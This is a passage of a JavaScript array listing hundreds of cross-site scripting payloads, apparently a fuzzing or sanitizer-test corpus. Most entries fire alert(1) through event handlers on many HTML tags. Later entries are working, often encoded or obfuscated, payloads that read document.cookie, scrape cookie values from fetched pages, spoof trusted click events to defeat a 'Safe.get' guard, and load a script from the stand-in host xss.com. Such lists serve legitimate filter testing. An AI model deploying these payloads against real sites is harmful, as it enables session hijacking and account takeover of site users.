  String.raw`<ul onfocusout=alert(1) tabindex=1 id=x></ul><input autofocus>`,
  String.raw`<ul onkeydown="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onkeypress="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onkeyup="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onmousedown="alert(1)">test</ul>`,
  String.raw`<ul onmouseenter="alert(1)">test</ul>`,
  String.raw`<ul onmouseleave="alert(1)">test</ul>`,
  String.raw`<ul onmousemove="alert(1)">test</ul>`,
  String.raw`<ul onmouseout="alert(1)">test</ul>`,
  String.raw`<ul onmouseover="alert(1)">test</ul>`,
  String.raw`<ul onmouseup="alert(1)">test</ul>`,
  String.raw`<ul onpaste="alert(1)" contenteditable>test</ul>`,
  String.raw`<var draggable="true" ondrag="alert(1)">test</var>`,
  String.raw`<var draggable="true" ondragend="alert(1)">test</var>`,
  String.raw`<var draggable="true" ondragenter="alert(1)">test</var>`,
  String.raw`<var draggable="true" ondragleave="alert(1)">test</var>`,
  String.raw`<var draggable="true" ondragstart="alert(1)">test</var>`,
  String.raw`<var id=x tabindex=1 onactivate=alert(1)></var>`,
  String.raw`<var id=x tabindex=1 onbeforeactivate=alert(1)></var>`,
  String.raw`<var id=x tabindex=1 onbeforedeactivate=alert(1)></var><input autofocus>`,
  String.raw`<var id=x tabindex=1 ondeactivate=alert(1)></var><input id=y autofocus>`,
  String.raw`<var id=x tabindex=1 onfocus=alert(1)></var>`,
  String.raw`<var id=x tabindex=1 onfocusin=alert(1)></var>`,
  String.raw`<var onbeforecopy="alert(1)" contenteditable>test</var>`,
  String.raw`<var onbeforecut="alert(1)" contenteditable>test</var>`,
  String.raw`<var onbeforepaste="alert(1)" contenteditable>test</var>`,
  String.raw`<var onblur=alert(1) tabindex=1 id=x></var><input autofocus>`,
  String.raw`<var onclick="alert(1)">test</var>`,
  String.raw`<var oncontextmenu="alert(1)">test</var>`,
  String.raw`<var oncopy="alert(1)" contenteditable>test</var>`,
  String.raw`<var oncut="alert(1)" contenteditable>test</var>`,
  String.raw`<var ondblclick="alert(1)">test</var>`,
  String.raw`<var onfocusout=alert(1) tabindex=1 id=x></var><input autofocus>`,
  String.raw`<var onkeydown="alert(1)" contenteditable>test</var>`,
  String.raw`<var onkeypress="alert(1)" contenteditable>test</var>`,
  String.raw`<var onkeyup="alert(1)" contenteditable>test</var>`,
  String.raw`<var onmousedown="alert(1)">test</var>`,
  String.raw`<var onmouseenter="alert(1)">test</var>`,
  String.raw`<var onmouseleave="alert(1)">test</var>`,
  String.raw`<var onmousemove="alert(1)">test</var>`,
  String.raw`<var onmouseout="alert(1)">test</var>`,
  String.raw`<var onmouseover="alert(1)">test</var>`,
  String.raw`<var onmouseup="alert(1)">test</var>`,
  String.raw`<var onpaste="alert(1)" contenteditable>test</var>`,
  String.raw`<video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay controls onseeked=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>`,
  String.raw`<video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video draggable="true" ondrag="alert(1)">test</video>`,
  String.raw`<video draggable="true" ondragend="alert(1)">test</video>`,
  String.raw`<video draggable="true" ondragenter="alert(1)">test</video>`,
  String.raw`<video draggable="true" ondragleave="alert(1)">test</video>`,
  String.raw`<video draggable="true" ondragstart="alert(1)">test</video>`,
  String.raw`<video id=x controls onfocus=alert(1)><source src="validvideo.mp4" type=video/mp4></video>`,
  String.raw`<video id=x controls onfocusin=alert(1)><source src="validvideo.mp4" type=video/mp4></video>`,
  String.raw`<video id=x tabindex=1 onactivate=alert(1)></video>`,
  String.raw`<video id=x tabindex=1 onbeforeactivate=alert(1)></video>`,
  String.raw`<video id=x tabindex=1 onbeforedeactivate=alert(1)></video><input autofocus>`,
  String.raw`<video id=x tabindex=1 ondeactivate=alert(1)></video><input id=y autofocus>`,
  String.raw`<video onbeforecopy="alert(1)" contenteditable>test</video>`,
  String.raw`<video onbeforecut="alert(1)" contenteditable>test</video>`,
  String.raw`<video onbeforepaste="alert(1)" contenteditable>test</video>`,
  String.raw`<video onblur=alert(1) tabindex=1 id=x></video><input autofocus>`,
  String.raw`<video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video onclick="alert(1)">test</video>`,
  String.raw`<video oncontextmenu="alert(1)">test</video>`,
  String.raw`<video oncopy="alert(1)" contenteditable>test</video>`,
  String.raw`<video oncut="alert(1)" contenteditable>test</video>`,
  String.raw`<video ondblclick="alert(1)">test</video>`,
  String.raw`<video onfocusout=alert(1) tabindex=1 id=x></video><input autofocus>`,
  String.raw`<video onkeydown="alert(1)" contenteditable>test</video>`,
  String.raw`<video onkeypress="alert(1)" contenteditable>test</video>`,
  String.raw`<video onkeyup="alert(1)" contenteditable>test</video>`,
  String.raw`<video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>`,
  String.raw`<video onmousedown="alert(1)">test</video>`,
  String.raw`<video onmouseenter="alert(1)">test</video>`,
  String.raw`<video onmouseleave="alert(1)">test</video>`,
  String.raw`<video onmousemove="alert(1)">test</video>`,
  String.raw`<video onmouseout="alert(1)">test</video>`,
  String.raw`<video onmouseover="alert(1)">test</video>`,
  String.raw`<video onmouseup="alert(1)">test</video>`,
  String.raw`<video onpaste="alert(1)" contenteditable>test</video>`,
  String.raw`<video src/onerror=alert(1)>`,
  String.raw`<video><source onerror=alert(1) src=1></video>`,
  String.raw`<video><track default onload=alert(1) src="data:text/vtt,WEBVTT"></video>`,
  String.raw`<wbr draggable="true" ondrag="alert(1)">test</wbr>`,
  String.raw`<wbr draggable="true" ondragend="alert(1)">test</wbr>`,
  String.raw`<wbr draggable="true" ondragenter="alert(1)">test</wbr>`,
  String.raw`<wbr draggable="true" ondragleave="alert(1)">test</wbr>`,
  String.raw`<wbr draggable="true" ondragstart="alert(1)">test</wbr>`,
  String.raw`<wbr id=x tabindex=1 onactivate=alert(1)></wbr>`,
  String.raw`<wbr id=x tabindex=1 onbeforeactivate=alert(1)></wbr>`,
  String.raw`<wbr id=x tabindex=1 onbeforedeactivate=alert(1)></wbr><input autofocus>`,
  String.raw`<wbr id=x tabindex=1 ondeactivate=alert(1)></wbr><input id=y autofocus>`,
  String.raw`<wbr id=x tabindex=1 onfocus=alert(1)></wbr>`,
  String.raw`<wbr id=x tabindex=1 onfocusin=alert(1)></wbr>`,
  String.raw`<wbr onbeforecopy="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onbeforecut="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onbeforepaste="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onblur=alert(1) tabindex=1 id=x></wbr><input autofocus>`,
  String.raw`<wbr onclick="alert(1)">test</wbr>`,
  String.raw`<wbr oncontextmenu="alert(1)">test</wbr>`,
  String.raw`<wbr oncopy="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr oncut="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr ondblclick="alert(1)">test</wbr>`,
  String.raw`<wbr onfocusout=alert(1) tabindex=1 id=x></wbr><input autofocus>`,
  String.raw`<wbr onkeydown="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onkeypress="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onkeyup="alert(1)" contenteditable>test</wbr>`,
  String.raw`<wbr onmousedown="alert(1)">test</wbr>`,
  String.raw`<wbr onmouseenter="alert(1)">test</wbr>`,
  String.raw`<wbr onmouseleave="alert(1)">test</wbr>`,
  String.raw`<wbr onmousemove="alert(1)">test</wbr>`,
  String.raw`<wbr onmouseout="alert(1)">test</wbr>`,
  String.raw`<wbr onmouseover="alert(1)">test</wbr>`,
  String.raw`<wbr onmouseup="alert(1)">test</wbr>`,
  String.raw`<wbr onpaste="alert(1)" contenteditable>test</wbr>`,
  String.raw`<xmp draggable="true" ondrag="alert(1)">test</xmp>`,
  String.raw`<xmp draggable="true" ondragend="alert(1)">test</xmp>`,
  String.raw`<xmp draggable="true" ondragenter="alert(1)">test</xmp>`,
  String.raw`<xmp draggable="true" ondragleave="alert(1)">test</xmp>`,
  String.raw`<xmp draggable="true" ondragstart="alert(1)">test</xmp>`,
  String.raw`<xmp id=x tabindex=1 onactivate=alert(1)></xmp>`,
  String.raw`<xmp id=x tabindex=1 onbeforeactivate=alert(1)></xmp>`,
  String.raw`<xmp id=x tabindex=1 onbeforedeactivate=alert(1)></xmp><input autofocus>`,
  String.raw`<xmp id=x tabindex=1 ondeactivate=alert(1)></xmp><input id=y autofocus>`,
  String.raw`<xmp id=x tabindex=1 onfocus=alert(1)></xmp>`,
  String.raw`<xmp id=x tabindex=1 onfocusin=alert(1)></xmp>`,
  String.raw`<xmp onbeforecopy="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onbeforecut="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onbeforepaste="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onblur=alert(1) tabindex=1 id=x></xmp><input autofocus>`,
  String.raw`<xmp onclick="alert(1)">test</xmp>`,
  String.raw`<xmp oncontextmenu="alert(1)">test</xmp>`,
  String.raw`<xmp oncopy="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp oncut="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp ondblclick="alert(1)">test</xmp>`,
  String.raw`<xmp onfocusout=alert(1) tabindex=1 id=x></xmp><input autofocus>`,
  String.raw`<xmp onkeydown="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onkeypress="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onkeyup="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xmp onmousedown="alert(1)">test</xmp>`,
  String.raw`<xmp onmouseenter="alert(1)">test</xmp>`,
  String.raw`<xmp onmouseleave="alert(1)">test</xmp>`,
  String.raw`<xmp onmousemove="alert(1)">test</xmp>`,
  String.raw`<xmp onmouseout="alert(1)">test</xmp>`,
  String.raw`<xmp onmouseover="alert(1)">test</xmp>`,
  String.raw`<xmp onmouseup="alert(1)">test</xmp>`,
  String.raw`<xmp onpaste="alert(1)" contenteditable>test</xmp>`,
  String.raw`<xss id=x tabindex=1 onactivate=alert(1)></xss>`,
  String.raw`<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>`,
  String.raw`<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>`,
  String.raw`<xss id=x tabindex=1 onblur=alert(1)></xss><input autofocus>`,
  String.raw`<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input autofocus>`,
  String.raw`<xss id=x tabindex=1 onfocus=alert(1)></xss>`,
  String.raw`<xss id=x tabindex=1 onfocusin=alert(1)></xss>`,
  String.raw`<xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus>`,
  String.raw`'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E`,
  String.raw`<<scr\0ipt/src=http://xss.com/xss.js></script`,
  String.raw`%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E`,
  String.raw`' onmouseover=alert(/XSS/)`,
  String.raw`"><iframe%20src="http://google.com"%%203E`,
  String.raw`'<script>window.onload=function(){document.forms[0].message.value='1';}</script>`,
  String.raw`x”</title><img src%3dx onerror%3dalert(1)>`,
  String.raw`<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>`,
  String.raw`<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>`,
  String.raw`<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>`,
  String.raw`<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>`,
  String.raw`<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>`,
  String.raw`<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>`,
  String.raw`<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>`,
  String.raw`<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>`,
  String.raw`<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>`,
  String.raw`<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22);  xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{   var c;   if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) )    alert(c[1]); }catch(e){} };  xdr.send(); </script>`,
  String.raw`<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() {    return document.cookie }}); alert(Safe.get());</script>`,
  String.raw`<script>alert(document.head.innerHTML.substr(146,20));</script>`,
  String.raw`<script>alert(document.head.childNodes[3].text)</script>`,
  String.raw`<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>`,
  String.raw`<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>`,
  String.raw`<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>`,
  String.raw`<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>`,
  String.raw`<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>`,
  String.raw`<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>`,
  String.raw`<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click';  document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>`,
  String.raw`<script>  (function (o) {   function exploit(x) {    if (x !== null)     alert('User cookie is ' %2B x);    else     console.log('fail');   }      o.onclick = function (e) {    e.__defineGetter__('isTrusted', function () { return true; });    exploit(Safe.get());   };      var e = document.createEvent('MouseEvent');   e.initEvent('click', true, true);   o.dispatchEvent(e);  })(document.getElementById('safe123')); </script>`,
  String.raw`<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>`,
  String.raw`<script>     function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> `,
  String.raw`<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #`,
  String.raw`<script>  function foo(elem, doc, text) {   elem.onclick = function (e) {    e.__defineGetter__(text[0], function () { return true })    alert(Safe.get());   };      var event = doc.createEvent(text[1]);   event.initEvent(text[2], true, true);   elem.dispatchEvent(event);  } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # `,
  String.raw`<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#`,
  String.raw`<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#`,
  String.raw`<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23`,
  String.raw`<script for=document event=onreadystatechange>getElementById('safe123').click()</script>`,
  String.raw`<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>`,
  String.raw`<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>`,
  String.raw`<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>`,
  String.raw`<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>`,
  String.raw`<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>`,
  String.raw`<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>`,
  String.raw`<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#`,
  String.raw`<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();`,
  String.raw`<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>`,
  String.raw`<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>`,
  String.raw`<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();`,
  String.raw`<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>`,
  String.raw`<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();`,
  String.raw`<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>`,
  String.raw`<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>`,
  String.raw`<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();`,
  String.raw`%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E`,
  String.raw`<iframe src=\`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>\`>`,
  String.raw`<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E`,
  String.raw`<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>`,
  String.raw`<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>`,
  String.raw`<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();`,
  String.raw`Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>`,
  String.raw`<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>`,
  String.raw`<div onmouseover='alert&lpar;1&rpar;'>DIV</div>`,
  String.raw`<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">`,
  String.raw`<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>`,
  String.raw`<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?`,
  String.raw`<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?`,
  String.raw`<var onmouseover="prompt(1)">On Mouse Over</var>?`,
  String.raw`<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>`,
  String.raw`<img src="/" =_=" title="onerror='prompt(1)'">`,
  String.raw`<%<!--'%><script>alert(1);</script -->`,
  String.raw`<script src="data:text/javascript,alert(1)"></script>`,
  String.raw`<iframe/src \/\/onload = prompt(1)`,
  String.raw`<iframe/onreadystatechange=alert(1)`,
  String.raw`<svg/onload=alert(1)`,
  String.raw`<input value=<><iframe/src=javascript:confirm(1)`,
  String.raw`<input type="text" value=\`\`<div/onmouseover='alert(1)'>X</div>`,
  String.raw`http://www.<script>alert(1)</script .com`,
